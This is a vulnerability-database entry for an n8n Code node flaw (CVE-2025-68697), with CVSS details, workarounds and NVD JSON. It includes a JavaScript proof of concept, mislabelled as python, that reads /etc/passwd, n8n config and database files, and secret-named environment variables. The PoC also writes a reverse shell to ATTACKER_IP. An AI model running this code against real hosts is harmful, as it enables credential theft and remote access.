Security Vulnerability Report
中文
CVE-2025-68697 CVSS 7.1 HIGH

CVE-2025-68697

Published: 2025-12-26 22:15:53
Last Modified: 2025-12-31 21:27:25

Description

n8n is an open source workflow automation platform. Prior to version 2.0.0, in self-hosted n8n instances where the Code node runs in legacy (non-task-runner) JavaScript execution mode, authenticated users with workflow editing access can invoke internal helper functions from within the Code node. This allows a workflow editor to perform actions on the n8n host with the same privileges as the n8n process, including: reading files from the host filesystem (subject to any file-access restrictions configured on the instance and OS/container permissions), and writing files to the host filesystem (subject to the same restrictions). This issue has been patched in version 2.0.0. Workarounds for this issue involve limiting file operations by setting N8N_RESTRICT_FILE_ACCESS_TO to a dedicated directory (e.g., ~/.n8n-files) and ensure it contains no sensitive data, keeping N8N_BLOCK_FILE_ACCESS_TO_N8N_FILES=true (default) to block access to .n8n and user-defined config files, and disabling high-risk nodes (including the Code node) using NODES_EXCLUDE if workflow editors are not fully trusted.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
n8n < 2.0.0 (self-hosted instances with legacy Code node mode)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68697 PoC - n8n Code Node Arbitrary File Read/Write // Target: n8n instances < 2.0.0 with legacy Code node execution mode // Method 1: Read arbitrary files using internal modules const fs = require('fs'); // Read sensitive files from host filesystem const passwd = fs.readFileSync('/etc/passwd', 'utf8'); console.log('=== /etc/passwd content ==='); console.log(passwd); // Read n8n configuration files const n8nConfig = fs.readFileSync('/home/n8n/.n8n/config', 'utf8'); console.log('=== n8n config ==='); console.log(n8nConfig); // Method 2: Write files to host filesystem const maliciousContent = '#!/bin/bash\n# Malicious reverse shell\n/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'; fs.writeFileSync('/tmp/reverse_shell.sh', maliciousContent); console.log('Malicious file written to /tmp/reverse_shell.sh'); // Method 3: Enumerate and exfiltrate environment variables const envVars = process.env; console.log('=== Environment Variables ==='); Object.keys(envVars).forEach(key => { if (key.includes('PASS') || key.includes('SECRET') || key.includes('KEY') || key.includes('TOKEN')) { console.log(`${key}: ${envVars[key]}`); } }); // Method 4: Read database credentials if accessible try { const dbConfig = fs.readFileSync('/home/n8n/.n8n/database', 'utf8'); console.log('=== Database Config ==='); console.log(dbConfig); } catch(e) { console.log('Database config not accessible via this path'); } return {status: 'File read/write exploit executed'};

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68697", "sourceIdentifier": "[email protected]", "published": "2025-12-26T22:15:52.777", "lastModified": "2025-12-31T21:27:25.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Prior to version 2.0.0, in self-hosted n8n instances where the Code node runs in legacy (non-task-runner) JavaScript execution mode, authenticated users with workflow editing access can invoke internal helper functions from within the Code node. This allows a workflow editor to perform actions on the n8n host with the same privileges as the n8n process, including: reading files from the host filesystem (subject to any file-access restrictions configured on the instance and OS/container permissions), and writing files to the host filesystem (subject to the same restrictions). This issue has been patched in version 2.0.0. Workarounds for this issue involve limiting file operations by setting N8N_RESTRICT_FILE_ACCESS_TO to a dedicated directory (e.g., ~/.n8n-files) and ensure it contains no sensitive data, keeping N8N_BLOCK_FILE_ACCESS_TO_N8N_FILES=true (default) to block access to .n8n and user-defined config files, and disabling high-risk nodes (including the Code node) using NODES_EXCLUDE if workflow editors are not fully trusted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-749"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.0.0", "matchCriteriaId": "706BA8CF-A3CC-4C8F-BDCF-2138A1B73565"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-j4p8-h8mh-rh8q", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}